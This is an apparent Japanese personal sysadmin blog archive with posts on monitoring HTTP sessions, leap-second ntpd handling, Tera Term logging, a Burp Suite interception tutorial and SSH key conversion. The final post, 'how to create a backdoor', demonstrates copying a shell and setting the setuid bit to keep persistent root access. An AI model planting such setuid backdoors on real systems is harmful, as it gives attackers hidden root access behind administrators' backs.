2016年9月21日水曜日

http(port 80)のセッション数をリアルタイムで監視したい

Webサーバーのセッション数の上限が低いせいで表示が重たいのでは?
と思ったので監視用にshellを作ってみた。

オプションはvmstat風。
 中身はnetstat -pantu と ps -eaf してるだけなのでroot権限で実行するのが望ましい。



[注意]
eth0に設定された ip_addr:80 のセッションしかカウントしません。
SSL証明書は手前で解決しているため。


[実行結果]
[root99@ ~/bin]# ./http_sess_counter.sh
error: Not Arg!
   ./http_sess_counter.sh WaitTime(s) Count
   example: ./http_sess_counter.sh 5
   example: ./http_sess_counter.sh 60 1440


[root99@ ~/bin]# ./http_sess_counter.sh  60 30
TIME_WAIT       FIN_WAIT2       ESTABLISHED     LAST_ACK        CLOSE_WAIT      TOTAL_SESS      HTTPD_CNT       DATE
    143              18              51               1               1             214              44         20XX/mm/dd 18:37:08


[Shell Source: http_sess_counter.sh ]



いじょ。

2015年6月25日木曜日

世界一かんたんな「うるう秒」対応

LeapIndicator(LIフラグ)を受け取る前にntpdを停止
うるう秒の調整が終わったら起動。


#cronに以下を挿入
01 00 30 06 * /etc/init.d/ntpd stop >/dev/null 2>&1
05 09 01 07 * /etc/init.d/ntpd start >/dev/null 2>&1


以上、これ以外なにも必要なし。




相変わらずIT業界恒例のマッチポンプ。
 ni●tは、Liフラグを送信しないntpサーバーを建てろよ糞が。




【参考情報】
https://access.redhat.com/ja/node/1362753
 うるう秒挿入後に Leap Second Insertion フラグを削除する

http://www-06.ibm.com/jp/linux/tech/doc/0019db89.html
【Technical Notes】Linux システムクロックの『うるう秒』調整

http://hiroki.jp/leap-second-2015
7/1の閏秒を迎えるにあたってLinuxでは何をすべきか?


2014年3月25日火曜日

Tera Term ログ出力の改行についてのメモ

Tera Termでは、ログ出力するとタームの画面の端で改行が入るため、後からエディターで見た場合に読みづらいログになることがある。


この解決方法は、INIファイルに
Enablecontinuedlinecopy=on
を書けばよい。

 ※デフォルトは off になっている。


オリジナルのINIを作成する場合は、
[設定(S)]→[設定の保存(S)]  で名前をつけて現状を保存し、macroファイル内で
strconcat msg ':22 /ssh /KR=UTF-8 /KT=UTF-8 /F=example.ini /auth=password /user='
のように指定する。



「tera term ログ出力 改行」
でググったらたまたま見つけたんだけど、このオプションは潮田って人のおかげなのね。
http://www.freeml.com/teraterm/76/latest








Linuxカーネル解析入門 (I・O BOOKS)  平田 豊(著) 
Linuxカーネル解析入門 (I・O BOOKS)  平田 豊 (著)
 


2013年1月21日月曜日

google急上昇ワードの謎

この概要は表示できません。投稿を閲覧するには ここをクリック してください。

2008年6月4日水曜日

Burpsuite (Burp Proxy) の使い方


今日はよい子のためのWebセキュリティの講座です!
Web Vulnerability Scanners でいいのがリストされているページがあるので見ましょう。

http://sectools.org/web-scanners.html



 
このサイトにはセキュリティ関係のツールが
沢山紹介されています。
もちろん、全OS対象ですので安心です。

今日はこの中から6位にランキングされている
Burpsuite(バープスイート)というツールを導入
してみましょう。

Burpsuite : An integrated platform for attacking web applicationsBurp suite allows an attacker to combine manual and automated techniques to enumerate, analyze, attack and exploit web applications. The various burp tools work together effectively to share information and allow findings identified within one tool to form the basis of an attack using another.
訳:こいつはグレイトなツールだ! Webのアタックにも使えるぜ!ha-ha-ha-!



Burp suite のダウンロードは以下から行えます。
http://portswigger.net/suite/download.html

Windows版 http://portswigger.net/suite/burpsuite_v1.1.zip
Linux版   http://portswigger.net/suite/burpsuite_v1.1.tar.gz




今回はWindows版をダウンロードします。
解凍すると、左のようなファイル群が出てきます。
特にインストール作業は無いようですので、不要になればディレクトリごと削除して下さい。


ここで suite.bat を実行すれば burpsuite が動作するわけですが、今の段階では何も起こりません。
サイトをよく見ると

Burp Suite is a Java application, and runs on any platform for which a Java Runtime Environment is available. It requires version 1.5 or later. The JRE can be obtained for free from http://java.sun.com/j2se/downloads.html.
訳:バープスイートはJavaアプリだから、Java ランタイム v1.5以上 が無いと動かないんだよね。


と書いてありました。

JREが必要、というわけで、Java ランタイムを落とします。
sunのサイトを見るとバージョンがいろいろあって迷いますが、私はJava Runtime Environment (JRE) 6 Update 6 を入れました。
Java SE Runtime Environment 6 Windows Offline Installation






jre-6u6-windows-i586-p.exe (JRE 6本体)





jre-6u6-windows-i586-p.exe を実行するとインストーラーが起動します。
長いので説明は読まずに同意して下さい。







特にWindowsの再起動は必要ありません。
先ほどの suite.bat を実行すると、今度はDOSのウィンドウが開いてburpsuite が起動します。










●Burp Suite の設定方法


起動した直後の画面です。
基本的な機能としては

リクエスト
Webサーバ <----- BurpSuite <----- ブラウザー
応答
Webサーバ -----> BurpSuite -----> ブラウザー

といった具合に、ブラウザーとWebサーバの中間に立って、リクエストやデータを横取りしてしまおうという機能です。
もちろん BurpSuite 上で、サーバに渡る直前のデータを改変して渡すことも可能です。
一般的に、FORM からの送信内容をブラウザー側のJava Script で入力チェックをし、問題の無いデータをサーバに送信するといった仕組みも多く存在します。
そのような、ブラウザーでのエラー確認の機構をすり抜けてチェックをかけることができます。


まずはブラウザーの設定から

IE の
[ツール]→ [インターネットオプション]→ [接続]→ [LANの設定]
からプロキシーの設定をします。





Burpsuite は Proxy として動作します。
個別の環境で変更も可能ですが、下記のデフォルト設定でまず問題はありません。

■LANにプロキシーサーバを使用する にチェック
    アドレス  [ 127.0.0.1 ]
    ポート   [ 8080 ]


通常の環境であれば、設定は以上で完了です。


もし、あなたの環境が Proxy を使用しなければ Webサーバにアクセスできない場合は、Burpsuite の [ comms ] タブをクリックしプロキシーサーバを経由するよう設定を追加しましょう。

■ use proxy server  にチェックを入れる
   server [ プロキシーサーバのIP]
   port [ プロキシーにアクセスするためのポート]



   

Webサーバ <--- Proxy <--- Burpsuite <--- ブラウザ という構造になります。 ちなみに、うちの環境の場合だとこんな設定です。




●BurpSuite の使用方法



例として、ブラウザー上で Google.co.jp にアクセスしてみます。
URL に http://www.google.co.jp/ を指定して実行しますが、この時点ではブラウザー上に何も表示されません。







ブラウザーからの全ての要求は、Burpsuite で堰き止めているため
通過させたい場合には、[ forward ] ボタンを押さなくてはなりません。


特定のリクエストを廃棄したい場合には、[ drop ] ボタンを押します。
ブラウザーからリクエストがある度に、選択することになりますのでサイトによっては何十回も forward することになります。





では、
試しに、Google のテキストボックスに [ burp suite ] として検索実行してみて下さい。

intercept タブの中で、さらに params というタブがありますが
その中に今自分が入力した文字列を見つけることができるでしょう。




今回の場合、GET request 中の type URL q=burp+suite
という部分がそれです。

パラメータを直接ダブル・クリックして内容を改変してみましょう。

burp+suite +root99.blogspot.com

と入力し、 [ forward ] ボタンを押します。
Webサーバには、書き換えられた burp+suite +root99.blogspot.com の情報で送信されます。



Google の応答結果を見ると、検索内容が書き換わっていることがわかります。








インストールできた?
そしたらはやく俺の作業手伝って!!!

つづく

2008年3月16日日曜日

Advanced/W-ZERO3[es]でSSH2で公開鍵認証

アドエス(WS011SH)で SSLVPN で SSH  のつづきです。
参考:SSH2で公開鍵認証を利用する

前回までに
・Advanced/W-ZERO3[es]上でSSH2接続が使えるPocketPuTTYの入手
・サーバ上で公開鍵認証を行うためのsshd.confの設定
を行いました。


今回行いたいことは

W-ZERO3 ------(ssh2)--------> Linuxサーバ
Aの秘密鍵             Aの公開鍵は認証済みの状態

となります。
上記の[Aの秘密鍵]とは id_rsaですが、W-ZERO3上で動作する PocketPuTTY では
Faqinなことに OpenSSHで作成したid_rsaのままでは利用できません。
そのためid_rsaファイルをPuTTY形式に変換する必要があります。
全くもってPuxxyな野郎だ!



PuTTY Download Page
からhttp://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exeをダウンロードして下さい。

puttygen.exe はWindowsクライアント側で各種sshのkey pairを作成する機能の他に
OpenSSHの鍵ファイルの変換機能もあります。


以下の手順で
id_rsaの秘密鍵をPuTTY形式に変換したもの→id_rsa.ppkを作成します。


1.puttygen.exe を起動する。




2.既存のid_rsaファイルを開く

[File] → [Load private key] を選択します。

ダイアログが開くので、ファイル形式を
[PuTTY Private Key Files(*.ppk)] から [All Files(*.*)] にして

全表示にした上で既存の id_rsa ファイルを指定します。





すると鍵を作成した時に決めたパスフレーズを聞かれます。
(前回Textのroot99hogeにあたるもの)









パスフレーズが正しければ
Successfully imported foreign key
(OpenSSH SSH-2 private key).
To use this key with PuTTY, you need to
use the "Save private key" command to
save it in PuTTY's own format.
と表示されます。




3.PuTTY形式に変換する。

●SSH-2 RSA のチェックが入っていることを確認し
[Save private key] ボタンを押します。











ファイル名を id_rsa.ppk として保存先を指定して下さい。






あとは、このid_rsa.ppkファイルを W-ZERO3 側のPocketPuTTYフォルダに入れておけばOK。

4.PocketPuTTYの設定

今回使用しているバージョンは
PocketPuTTY.wm6.2007-11-22.zip
です。もし画面の構成が違う場合はバージョンを確認して下さい。

[SSHタブ]を選択し、
先ほど作成した id_rsa.ppk ファイルをフルパスで指定します。






[Dataタブ] では使用するユーザ名を指定します。
Terminalサイズ等は特に変更する必要はありません。










最後に、[Sessionタブ]から

接続するサーバ名を [Host Name (or IP address)] の部分に
記述。
先ほどのタブで設定した内容を名前をつけて保存します。
[Save]ボタンを押すと、[Stored session] 欄に表示されますので
次回からは、その行を選択して [Load]ボタンを押すことで
いちいち入力する手間が省けます。



接続するとこんな画面が出ます
Using username "root99".
Authenticating with public key "imported-openssh-key"
Passphrase for key "imported-openssh-key" :

ここでパスフレーズを入力してログイン完了。



              つづく







2008年3月7日金曜日

BackDoorを作成する方法は?

・SetUID とは
UNIXのファイルには、UID(ユーザーID)とGID(グループID)があり、それぞれの単位で
ファイルを参照・書き込み・実行といった権限を設定することができます。

例えば、/etc/shadowファイルはrootユーザにのみパーミッションがついていますから
一般ユーザは読み書きすることができません。
なのに passwdコマンドを使って自分のログイン・パスワードを変更、つまり shadowファイルを
書き換えることが可能です。

どうしてこんなことが可能になるんでしょう? passwdコマンドの権限を見てみましょう。

-rwsr-xr-x 1 root root 22984  1月 7  2007 /usr/bin/passwd

所有者がrootになっていて権限のところが rws となっています。
これはプログラムに所有者のUID を Set したという意味の表示で、どのユーザから実行したとしても
実行中はrootの権限で動きます。だから shadowファイルの変更もできていたんですね。



hogeというコマンドにSetUIDする場合は次のコマンドで行います。
#chmod u+s hoge もしくは #chmod 4755 hoge



さて、
世の中にはRootKitというものがありまして、これをコンパイルしてどっかに置いといて
一般ユーザで実行したらアラ不思議 root になってしまうという物です。
要するに、rootでSuIDの仕掛けを施した普通のコマンドに見えるプログラムのことですね。


では簡単に作ってみることにしましょう。

えーと・・・。
単に /bin/sh に SuID するだけです・・・。

# whoami
root        ←※rootで実行します。

# cp /bin/sh /home/root99/changeroot.sh
#chmod 4755 /home/root99/changeroot.sh ←※SuIDします。

# ls -l /home/root99/changeroot.sh
-rwsr-xr-x 1 root root 722684 3月15 16:22 /home/root99/changeroot.sh*

# exit
# whoami      ←※一般ユーザに戻る
root99

次に一般ユーザでこのプログラムを実行したらrootで動くはず。
# /home/root99/changeroot.sh ←※実行
changeroot.sh-3.1$
changeroot.sh-3.1$ whoami     ←※ユーザを確認してみる
root99


アレっ?? 一般ユーザのままですね。



実は Linux の /bin/sh と /bin/bash には SuID した場合の対策が取られています。
手元の Unux で確認したところ、Linux 以外のshは正常にSuIDで機能しました。

#cp /bin/ksh /home/root99/chgroot.ksh
#chmod 4755 /home/root99/chgroot.ksh   ←※コピーしたkshにSuID

#/home/root99/chgroot.ksh    ←※実行
#
# whoami
root                    ←※rootになった。




上記のように、一回でもrootになることができれば、いつでもrootになれるコマンドを作ることが
できます。これが即ち rootkitの基本 。
定期的に SuIDビットの立ったファイルをチェックしてない管理者がいたとしたら、そのサーバは
知らぬ間にクラッカーの巣になっているかも知れませんよ?


※shell scriptにはセキュリティ上の理由からSuIDが正常に機能しません。
 perl の場合はperl-suidperlモジュールをインストールすることで可能です。



次回は、SuID ファイルなんかチェックしても無駄無駄無駄ぁぁぁぁぁぁ!!!!
です。

.